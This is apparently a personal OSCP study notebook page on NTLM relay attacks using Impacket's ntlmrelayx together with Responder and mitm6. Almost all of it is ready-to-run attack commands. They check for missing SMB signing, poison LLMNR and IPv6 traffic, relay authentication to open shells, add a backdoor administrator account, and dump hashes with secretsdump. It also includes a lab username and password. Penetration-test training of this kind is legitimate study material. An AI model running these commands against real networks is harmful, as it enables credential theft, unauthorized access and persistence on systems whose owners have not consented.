Pearson's OSCP Notebook

ntlmrelayx

Properties1
tagsimpacket, ntlmrelayx, ntlm-relay, responder, pass-the-hash, smb-signing, lateral-movement, active-directory

3 min read

Impacket — ntlmrelayx

External: Internal All The Things — NTLM Relay

What does ntlmrelayx do?

ntlmrelayx.py relays NTLM authentication from a victim to another target — authenticating as the victim without knowing their password. Used with Responder (or ntlm_theft lures) when you capture NTLMv2 hashes but can’t crack them quickly.

Victim → authenticates to Responder (fake SMB)
       → Responder forwards to ntlmrelayx
       → ntlmrelayx relays auth to 10.10.10.5
       → You get shell / SAM dump AS the victim

Requirement: Target must have SMB signing disabled or not required. Domain Controllers almost always require signing → relay won’t work against DCs.

📌 1) Check If Relay Is Possible

# Generate list of relay-vulnerable hosts
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
 
# Nmap
nmap -p 445 --script smb2-security-mode 10.10.10.0/24
# Look for: "Message signing enabled but not required" ✅ vulnerable
 
# Manual
crackmapexec smb 10.10.10.10
# signing:False → vulnerable

📌 2) Setup — Responder + ntlmrelayx

Step 1 — Edit Responder.conf

Turn off SMB and HTTP so ntlmrelayx handles those protocols:

# /usr/share/responder/Responder.conf
SMB = Off
HTTP = Off

Step 2 — Start ntlmrelayx (Terminal 1)

impacket-ntlmrelayx -tf targets.txt -smb2support

Step 3 — Start Responder (Terminal 2)

sudo responder -I tun0 -w On -r On -v

Step 4 — Trigger auth

Wait for LLMNR/NBT-NS broadcast, or deliver ntlm_theft payload.

📌 3) Flags

FlagDescription
-tf FILETarget file (one IP/hostname per line)
-t TARGETSingle target (smb://IP, ldap://IP, http://IP)
-smb2supportEnable SMB2 (required for modern Windows)
-iInteractive SMB shell (local port — connect with nc)
-c COMMANDExecute single command on relay success
-e FILEUpload and execute file
-wh WPAD_HOSTWPAD host for HTTP relay
-l LOOTDIRDirectory to save loot (LDAP dumps)
-6IPv6 mode (use with mitm6)
-of FILEOutput file for hashes
-socksSOCKS proxy for relayed sessions
--no-http-serverSMB relay only — no HTTP listener (pair with slinky lure)
-debugDebug output

📌 4) Usage Examples

SMB relay only (--no-http-server)

When the lure is an SMB icon UNC (e.g. nxc slinky) — no HTTP listener needed:

# Build targets first
nxc smb 192.168.121.172-174 -u 'Eric.Wallows' -p 'EricLikesRunning800' \
  --gen-relay-list smb_targets.txt
 
# Relay (Responder.conf: SMB=Off if also running Responder)
impacket-ntlmrelayx --no-http-server -smb2support -tf smb_targets.txt

Interactive SMB shell

impacket-ntlmrelayx -tf targets.txt -smb2support -i
 
# When relay succeeds, connect to local port shown in output:
nc 127.0.0.1 11000

Execute command

impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net user hacker P@ss123 /add && net localgroup administrators hacker /add"

Single target

impacket-ntlmrelayx -t smb://10.10.10.5 -smb2support -i

LDAP relay (AD — create computer account / DCSync)

# With mitm6 for IPv6 poisoning
sudo mitm6 -d corp.local
 
impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker_wpad --delegate-access -l loot/

HTTP relay (WPAD)

impacket-ntlmrelayx -tf targets.txt -smb2support -wh attacker_wpad

📌 5) Full OSCP Workflow

1. netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
   → If empty, relay won't work on this subnet

2. Responder.conf → SMB=Off, HTTP=Off

3. Terminal 1: impacket-ntlmrelayx -tf targets.txt -smb2support -i
   Terminal 2: sudo responder -I tun0 -w On

4. Wait for victim OR deliver ntlm_theft file

5. nc 127.0.0.1 11000  →  shell as victim user

6. Escalate / dump:
   impacket-secretsdump domain/user@TARGET -hashes ':RELAYED_HASH'

📌 Quick Cheat Sheet

# ─── CHECK SIGNING ────────────────────────────────────────────
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
 
# ─── RELAY SETUP ──────────────────────────────────────────────
# Responder.conf: SMB=Off, HTTP=Off
impacket-ntlmrelayx -tf targets.txt -smb2support -i
sudo responder -I tun0 -w On
 
# ─── CONNECT TO RELAY SHELL ───────────────────────────────────
nc 127.0.0.1 11000
 
# ─── EXEC COMMAND VIA RELAY ───────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"

Graph View

Backlinks